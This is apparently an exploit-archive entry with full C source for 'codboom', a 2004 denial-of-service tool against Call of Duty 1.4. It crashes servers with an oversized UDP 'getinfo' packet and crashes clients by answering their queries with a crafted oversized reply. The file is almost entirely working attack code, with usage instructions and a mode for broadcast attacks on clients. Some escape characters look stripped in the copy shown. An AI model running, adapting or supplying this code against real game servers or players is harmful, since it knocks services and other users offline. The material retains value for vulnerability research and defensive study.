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# Title : Call of Duty <= 1.4 Denial of Service Exploit
# Published : 2004-09-05
# Author : Luigi Auriemma
# Previous Title : Serv-U < 5.2 Remote Denial of Service Exploit
# Next Title : WFTPD Pro Server 3.21 MLST Remote Denial of Service Exploit
/* winerr.h */
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "nError: %sn", error);
exit(1);
}
/* codboom.c */
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include <io.h>
#include <malloc.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 28960
#define TIMEOUT 3
#define INFO "xffxffxffxff" "getinfo xxxn"
#define BOOM "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
// must be major than 1023 bytes
#define SVBOF "xffxffxffxff" "getinfo %sn"
#define CLBOF "xffxffxffxff"
"%sResponsen"
"\g_gametype\dm"
"\gamename\Call of Duty"
"\mapname\mp_carentan"
"\protocol\5"
"\scr_friendlyfire\0"
"\scr_killcam\0"
"\shortversion\1.4"
"\sv_allowAnonymous\0"
"\sv_floodProtect\1"
"\sv_hostname\Crash"
"\sv_maxclients\26"
"\sv_maxPing\0"
"\sv_maxRate\10000"
"\sv_minPing\0"
"\sv_privateClients\0"
"\sv_punkbuster\1"
"\sv_pure\1"
"\pswrd\0"
"\mod\1"
"\crash\%s"
void show_info(u_char *buff);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
len,
psz,
on = 1,
type;
u_short port = PORT;
u_char buff[BUFFSZ + 1];
struct sockaddr_in peer;
setbuf(stdout, NULL);
fputs("n"
"Call of Duty <= 1.4 server/client shutdown "VER"n"
"by Luigi Auriemman"
"e-mail: aluigi@altervista.orgn"
"web: http://aluigi.altervista.orgn"
"n", stdout);
if(argc < 2) {
printf("nUsage: %s <attack> [port(%d)]n"
"n"
"Attack:n"
" c = broadcast clients shutdownn"
" s = server shutdownn"
" You must add the IP or the hostname of the server after the 's'.n"
"n"
"Some usage examples:n"
" codboom c listens on port %d for clientsn"
" codboom c 1234 listens on port 1234n"
" codboom s 192.168.0.1 tests the server 192.168.0.1 on port %dn"
" codboom s codserver 1234 tests the server codserver on port 1234n"
"n", argv[0], PORT, PORT, PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
type = argv[1][0];
if(type == 's') {
if(argc < 3) {
printf("n"
"Error: you must specify the server IP or hostname.n"
" Example: %s s localhostn"
"n", argv[0]);
exit(1);
}
peer.sin_addr.s_addr = resolv(argv[2]);
if(argc > 3) port = atoi(argv[3]);
printf("n- Target %s:%hun",
inet_ntoa(peer.sin_addr),
port);
} else if(type == 'c') {
peer.sin_addr.s_addr = INADDR_ANY;
if(argc > 2) port = atoi(argv[2]);
printf("n- Listen on port %dn", port);
} else {
fputs("n"
"Error: Wrong type of chosen attack.n"
" You can choose between 2 types of attacks, passive versus clients withn"
" 'c' or versus servers with 's'n"
"n", stdout);
exit(1);
}
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
if(type == 's') {
fputs("- Request informationsn", stdout);
if(sendto(sd, INFO, sizeof(INFO) - 1, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("n"
"Error: socket timeout, probably the server is not online or the port is wrongn"
"n", stdout);
exit(1);
}
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
show_info(buff);
fputs("- Send BOOM packetn", stdout);
len = sprintf(buff, SVBOF, BOOM);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(timeout(sd) < 0) {
fputs("nServer IS vulnerable!!!nn", stdout);
} else {
len = recvfrom(sd, buff, BUFFSZ, 0, NULL, NULL);
if(len < 0) std_err();
buff[len] = 0x00;
printf("n"
"Server doesn't seem to be vulnerable, the following is the answer received:n"
"n%snn", buff);
}
} else {
if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
< 0) std_err();
if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs(" Clients:n", stdout);
for(;;) {
len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
if(len < 0) std_err();
buff[len] = 0x00;
printf("%16s:%hu -> %sn",
inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port),
buff);
if(!memcmp(buff + 4, "getinfo", 7)) {
len = sprintf(buff, CLBOF, "info", BOOM);
} else {
len = sprintf(buff, CLBOF, "status", BOOM);
}
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
}
}
close(sd);
return(0);
}
void show_info(u_char *buff) {
int nt = 1;
u_char *string;
while((string = strchr(buff, '\'))) {
*string = 0x00;
if(!nt) {
printf("%30s: ", buff);
nt++;
} else {
printf("%sn", buff);
nt = 0;
}
buff = string + 1;
}
printf("%sn", buff);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolv hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("nError");
exit(1);
}
#endif
// www.Syue.com [2004-09-05]